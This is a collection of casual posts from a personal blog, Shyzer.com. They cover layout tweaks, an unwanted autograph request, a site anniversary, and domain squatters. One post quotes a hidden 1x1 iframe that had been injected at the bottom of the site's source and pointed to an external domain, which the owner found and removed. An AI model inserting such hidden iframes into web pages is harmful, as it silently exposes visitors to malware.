Shyzer.com

I tweaked the hell out of Shyzer the other night since I realized I’m sticking with this theme longer than I originally imaged. Some new features of note:

• The share this button. Click on it to easily and quickly send a certain post to a friend via Email, Facebook, Digg, etc.
• When you go to leave a comment, scroll up a little and you’ll notice a new box of “related posts” to the post you just read. It’s a great way to be reminded of all the pointless crap I’ve written over the years!
• The search box now has magic text that disappears when you click it and then poofs back when you click elsewhere. OMG ITZ WITCHCRAFT!
• When you hover over a post’s title, it no longer double underlines it. That always annoyed the crap out of me, but I was too lazy to fix it.
• I upgraded all the plugins on the site, so now they no longer break for no reason.
• The sidebar links were cleaned up a bit. Nothing new added, a few old links removed.
• The freebies widget was added on the sidebar, to show all the awesome freebies I post on HIF. I can’t get the damned timestamp removed on it though, which sucks. The widget, though, was created thanks to wigitize.

Wow. Wasn’t all that so exciting?

Hey, South Carolina. Do me a favor and please don’t screw this up tomorrow.

Also, to everybody who commented in the post below, thanks. I honestly didn’t know that many of you still read Shyzer. You guys rock

Edit: Welcome, CNN readers. Don’t bother reading this post, check out the good stuff.

I spent the last few days making a brand new layout for Shyzer. Then I realized that I really, really like this layout despite the fact that I’ve had it for over 20 months. Seeing as how Facebook Talk already has a recent new design and the layout really wouldn’t work for Hey, It’s Free, I guess I’ll just pocket this one for later.

Not to say that this is the best layout ever, but it’s far from horrible and has everything I want in a design. Clean, some bold colors, clean, straight to the point, not much fluff, clean, and CLEAN. Everybody knows that when somebody types IN ALL CAPS, it’s as if they are screaming at them. Well when I go to a website and there’s so much stuff going on that I can’t tell what is what, then it’s as if the website is screaming at me. Which means I close the tab and move to another site. That’s not what I want Shyzer to be like and while the new layout isn’t busy or dynamic or screaming at you, it’s not quite as low key as this layout.

This is all an extremely moot point, however, because nobody reads this damn site anymore. Surprisingly, that doesn’t really bother me though.

Hey, hey, looks who’s back!

Before some time I asked with you after signed photos – but
up to now I could’nt hear from you.
I would be therefore so happy if you could send me handwritten photos of you – you are a very beautiful man with a sympathically face and a great aura. The collecting of signed photos is my greatest hobby – and signed photos of you will get a special place in my collection. I would be happy if you could fulfill my wish. Thanks in advance for your kindness!

Hahaha. In case you don’t remember, I wrote about this crackpot last year and thought that would be the end of him. I assumed a little public humiliation would be just the correct dosage to getting him off my back, but apparently I was mistaken.

Buddy, look, I’m not sending you any signed photos of myself. Give it up. Yeah, I bet I’d hold a special place in your collection. And frankly, I don’t want to even think about what that place might be, especially if it involves you, my photo, and a little “special time.” Add to the fact that identity theft isn’t on my list of things I want for Christmas and I think you can see where I’m coming from.

Although I doubt you can even read any of this, as your English sounds about on par with my dogs. No, scratch that, she can communicate with me a little bit better than that crap you sent me. I bet you still pee on the rug, don’t you?

I’ve been in Australia for the past few weeks and will be so for awhile to come. So that can explain why I haven’t posted here on Shyzer lately. If anybody stateside needs me, then hopefully you have my e-mail, because otherwise you’re SOL.

And with that, I’m out of here.

So apparently I totally missed Shyzer’s birthday earlier this month. Let me just say that if the year is 2025 and my child happens to be reading this in the archives, then hey there Kramer! Daddy just wants to say that you should use this post as a lesson that you probably should get used to me missing important dates in your life. If I can’t remember the anniversary of opening the doors here on Shyzer, there’s no way in hell I’m going to remember things about you! Oh, and I promise I’ll try and stop drinking so much. You know how Mommy can get though, always nagging me and…well, let’s just save that talk for another time.

We’ve had some good times over the past 5+ years though. And by “we” I mean “I” and by “good times” I mean “times where I wanted to hang myself thanks to this damn site.” Yet here I am, typing this post at 2:13 AM as I lie in bed practically half asleep and wanting nothing more than to close my eyes. I love this fucking site and don’t ever let me tell you otherwise.

So today I log onto Shyzer and find the malicious code BACK IN MY SOURCE! Apparently the spammers had guessed my password and had re-uploaded the spyware to Shyzer around 4AM this morning. Now, I give credit where credit is due, because to guess one of my passwords is nothing short of miraculous. Just ask Waynus or Clayster. My passwords tend to be along the lines of “ebaiu23bv^abndu” and so, to make Shyzer’s even harder, I’ve reset the password and added a few random capital letters in there. If the spyware somehow ends back up on Shyzer yet again in the nearfuture, then I’ll have to basically rip the site apart and build it from the ground up.

And I don’t really want to have to do that…

So you can ignore everything down there. Long story short, somehow my wordpress index.php file had become corrupted. The weird thing was I have multiple copies of backups of Shyzer and all my sites stored on four different computers. And the file in question was corrupted on all of them. Which means either the virus somehow copied itself from the web down onto my computers (unlikely) or it’d been there for a hell of a long time and I’m just now finding out about it. I almost want to e-mail everybody I know and apologize. Christ, spyware, on Shyzer! I can’t even make a joke about it, I’m that pissed. But it’s gone now, hopefully. Which means that if you get any more weird popups or virus message while visiting Shyzer, let me know, damnit!

********

If you can’t tell already, I’m a bit pissed.

So after being told for the millionth time that Shyzer is triggering people’s anti-virus software, I finally started digging around tonight and found this at the very bottom of my source code:

</body>
</html>
<iframe src=’http://ltraffic.biz/resource.php?id=4536&user=Nikson’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

Which is fine and dandy and all except for the small part that I HAVE NO IDEA HOW A RUSSIAN VIRUS HAS LEECHED INTO MY CODE! My footer page simply ends with:

</body>
</html>
NO RUSSIAN VIRUS CODE!

I’ve googled around, but apparently I’m one of the few morons who has let this happen to him. Huzzah! So, if you’ve been getting popup errors and anti-virus messages, please note: I’m aware of the situation and I’m not going to bed until I fix this. I can handle going two weeks without adding any substantial material to this site without breaking a sweat. But letting spyware take over? Fuck that.

EDIT 1: Well I’ve eliminated the fact that the spam is in my theme code, because no matter what theme I switch to, it’s still there.

EDIT 2: It’s not in my plugins, either. I’ve got the default theme running, no plugins, and the bastard is still there.

Yarg! If you didn’t remember it was Talk Like A Pirate Day, then you are a horrible fellow who needs to be skinned alive. And in celebration of this fine day, I’ve installed a plug-in to transform all of Shyzer into Pirate talk. Arrrrg!

Folks, we’ve done it. It took us almost five years and God knows how many posts and comments, but we’ve finally reached the pinnacle of Internet success. Stardom. Immortality.

I’m of course referring to the fact that two days ago, a domain squatting company decided that Shyzer.com was such a successful and amazing site, that they needed to purchase as many of it’s misspelled domains as possible. Shyerz. Shyezr. Syhzer. You name it and I’m pretty sure they’ve snapped it up.

It’s nice to know that whenever I don’t feel like posting on here, all those fake sites have my back. My readers will still be able to head on over to Shyezr.com for all their “Samsung Toner Cartridges” needs, which I think speaks for itself. If there’s one thing I immediately associate with Shyzer, it’s toner cartridges from our good friends at Samsung.

Actually, now that I look around, I see that Syhzer.com has links to “Metal and Non-Metal Balls”. Please, we all know Shyzer has nothing but Metal Balls. We don’t waste our time or kid around with any of those Non-Metal Balls.

Heh heh heh. Balls.